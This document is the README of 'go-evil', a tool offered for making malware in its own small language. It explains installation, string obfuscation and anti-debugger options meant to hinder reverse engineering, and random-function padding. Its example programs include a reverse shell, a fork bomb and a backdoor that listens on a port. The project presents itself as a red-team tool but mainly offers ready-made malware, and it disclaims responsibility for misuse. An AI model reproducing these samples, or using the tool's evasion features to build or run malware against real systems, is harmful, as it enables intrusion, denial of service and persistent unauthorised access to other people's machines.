Go-evil - Customizing evil has never been so easy
Table of contents
Description
Go-evil is a red teams wet dream, a tool to beat all other tools of it's kind.
What is go-evil, I hear you ask? Go-evil is a project all about the art of creating malware with a simpel language.
The programming language we utilize is called evil, which only purpose is to translate ideas like "Hey I want a backdoor" into working code without the malware artist needing to know every every nook and cranny.
Cloning
To make sure that you get everything needed to start working on your malware you will need to do one out of the following things.
- Run
git clone --recurse-submodules <URL>
to clone the base project and each submodule
- Run
make submodules
once you have cloned the project to fetch the submodules
Installation
Docker
You can run the compiler through docker and by executing the statements shown below!
Run make docker
to build the docker image.
Create a folder labeled builds
in your local directory, this will be the directory where you want to place all your files to compile.
Run the following command docker run -v $(pwd)/builds:/app/builds --rm goevil/gevil-<version> <commands>
An example of this can be docker run -v $(pwd)/builds:/app/builds --rm goevil/gevil-2.7 -f builds/out.evil -bd builds
which will compile the out.evil
file and create the binary builds/out
.
But if you're lazy you can also utilize the script labeled gevil
under the tools
directory bash tools/gevil <commands>
which will do all work for you.
Locally
If you still want to compile the project locally, just run make dependencies
and make
to compile the project. After this you can utilize the compiler as intended.
Anatomy of a go-evil based malware
Strings
All user definied strings in a 'goevil created malware' are represented as an integer array, this to prevent the possibilty to dump the strings when reverse engineering or atleast making it harder.
The standard alphabet utilized for this is,
0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,!,#,$,€,%,&,(,),*,+,,,-,.,/,:,;,<,=,>,?,@,[,],^,_,`,{,|,},~
Goevil will read the alphabet linearly and represent the character with the index of said character in a array that is constructed during compile-time and runtime.
This alphabet can easily be changed with the -A
/--alphabet
parameter which needs a comma-seperated string just like how the standard alphabet above is presented.
Function types
We have currently four different functions, these are marked by a unique name preceding the functions name.
Function type |
Description |
Extra |
boot |
Executed at the beginning of the malware |
- |
loop |
Placed and executed within a for-loop |
- |
call |
Manually needs to be called |
Binding and utilizing self::call("<function_name>") can solve this |
end |
Executed just before the malware exits |
- |
Skeleton
Shown below is the general skeleton that each malware compiled by goevil has in their source code.
package main
import(
...
)
// Structs
// Consts
// Global variables
...
// Function def
...
func main(){
// Calling `boot` functions
...
for <behavior pattern> {
// Calling `loop` functions
...
}
// Calling `end` functions
}
Compiler configuration
Each go-evil malware require a so-called Compiler configuration
.
[
<Compiler configuration>
]
The compiler configuration informs the compiler on how the malware should be configured and compiled and can contain the following fields.
Field |
Description |
Value type |
version |
Target compiler version |
string |
output |
The name of the malware after being compiled |
string |
os |
Target operating system |
string |
arch |
Target architecture |
string |
obfuscate |
Should the source code be obfuscated? |
boolean |
debugger_behavior |
How should the malware react if it detects a debugger? |
string |
Most of these values are the same as the flags that can be sent in through the argument parser and any sent in args will overwrite what the compiler configuration contains.
Predefined variables
There exist two types of variables in go-evil.
- Compile-time
$<value>$
- Runtime
€<value>€
They exist during two different times in the lifespan of a malware and their names indicate where they are utilized.
Value |
Compile time |
Runtime |
Description |
1 - 5 |
X |
X |
Variables that the user can utilize |
13 |
- |
X |
Each value in a foreach is placed in €13€ |
23 |
X |
X |
Returns the executables name |
39 |
X |
X |
Grabs the current working directory |
40 |
X |
X |
Grabs the path to the current user's home directory |
666 |
X |
X |
Grabs the current user's name |
The pattern that emerges here is that most variables do the exact same thing with the exception of in which stage they are parsed and set. E.g. the username obtained through $666$
might not be the same as the one in €666€
.
Examples
Hello world
@ Showcases how you print a message @
use system
[
version 3.0
output out
os linux
arch amd64
obfuscate false
]
b boot {
system::outln("Hello from boot!")
}
l main_func {
system::outln("Hello from main!")
system::exit("0")
}
If statements
@ Showcases how an if/else statement looks like @
@ The allowed operators are... @
@ > - larger @
@ < - smaller @
@ == - equals @
@ != - does not equal @
@ >= - larger or equals @
@ <= - smaller or equals @
use system
use self
[
version 3.0
output if_else
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
l main_func {
if(${"1", ">", "2"}$):
system::outln("1 is bigger than 2")
else:
system::outln("1 is smaller than 2")
end if
system::exit("0")
}
Foreach
@ Showcases how a for-loop/foreach-loop works @
use system
[
version 3.0
output foreach
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
l main_func {
foreach(${"1","2","3","4","5"}$):
system::outln("€13€") @ The index €13€ is configured to only be used by foreach loops @
end foreach
system::exit("0")
}
Generating 32 random functions
@ This example shows that go-evil v2 has the ability to add an n amount of @
@ random function to your source code, which can act like a padding @
@ but can also act like a factor to make it harder to reverse-engineer @
use system
use self
[
version 3.0
output random_func
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
l main_func {
self::add_random_func("32") @ Adds 32 randomly definied functions to the src code @
system::outln("The definied functions don't effect the program itself, but sure as hell padds out the binary file")
system::outln("Compile with the debug flag to see the result")
system::exit("0")
}
Wait until
@ Shows the until function in the time domain @
@ Supported formats @
@ - YYYY/MM/DD-hh:mm @
@ - hh:mm @
use system
use time
[
version 3.0
output until
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
l main_func {
time::until("10:45") @ The program will launch after 10:45 @
system::outln("Hello I've launched!!")
system::outln("Let us try this again!!")
time::until("2023/04/09-10:50")
system::outln("Finishing up!")
system::exit("0")
}
@ Showcasing how you can bind an evil function to a javascript call @
use system
use window
[
version 3.0
output bind
os linux
arch amd64
obfuscate false
]
c test1 -> null {
system::outln("I've been summoned!")
}
b bind {
@ Essentially saying that when the js function button is called, call test1 @
window::bind(${"button", "test1"}$) @ The ${...}$ is known as an evil array @
window::js("function testing() {window.button();}")
window::html("<p>Watch the console after pressing the button!</p>")
window::html("<input type='submit' onclick='testing()'>")
window::run()
}
l loop {
system::exit("0")
}
Running the code above will result in the following
Reverse shell
@ Performs a reverse shell back to the attacker @
@ To check if the reverse shell works, run the following nc -l 8080 @
use system
use network
[
version 3.0
output reverse_shell
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
l main_func {
network::reverse_shell(${"127.0.0.1", "8080"}$)
system::exit("0")
}
Fork bomb
@ Executes a fork bomb @
use system
use bombs
use time
[
version 3.0
output fork_bomb
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
c executioner -> boolean { @ When this function returns, the bomb is executed @
system::outln("I'm the bomb!")
time::sleep("600") @ Sleep for 10 minutes before returning @
}
l main_func {
system::outln("Warning: Do not try this on your own machine!")
bombs::fork_bomb(${"500", "executioner"}$) @ 500 ms until it blows up @
system::exit("0")
}
Backdoor
use backdoor
[
version 3.0
output backdoor
os linux
arch amd64
obfuscate false
debugger_behavior stop
]
loop main_func {
backdoor::start("6666")
}
Utilizing your own domain
Writting and including your own thirdparty domain is a simple process.
First we start with creating a directory where the thirdparty domains can be found, such as thirdparty_domain
. This directory will need to be passed through the -xdp
/--external_domain_path
argument each time you want to compile your project.
You will in this folder create a new folder for each of those domains that you want to create. An example can be test
meaning that the current path will be thirdparty_domain/test
. This folder name will also be the domain that you will import in your evil code, e.g. use test
.
Within the test
folder you must create a file called parser.go
that has a function defined with the following header.
func Parser(function string, value string, data_object *json.Json_t) []string
This function will be the entrypoint that goevil will look for and utilize and will be where you can do whatever you want.
For the domain to be importable you will need in the thirdparty_domain/test
directory run the following command go build -buildmode=plugin
which will create a shared object, test.so
that goevil will work with.
Documentation
Examples
We strive to have a corresponding example file/files for each implemented feature, meaning that the currently best way to see how to implemenet a certain area
is to look in the examples
folder
Godoc
If you're willing to see all the possible functions and such, take a look at tools/serve_documentation.sh
which will locally host a godoc server on port 8080
Cookbook
A complete book containing everything from A to B can be found here
Legal notice
We take no responsibility for what you create and do with this project. Any mischief that you cause and happen to fall into is on yourself!
But we do encourage open sourcing your malware so that the world can see your art!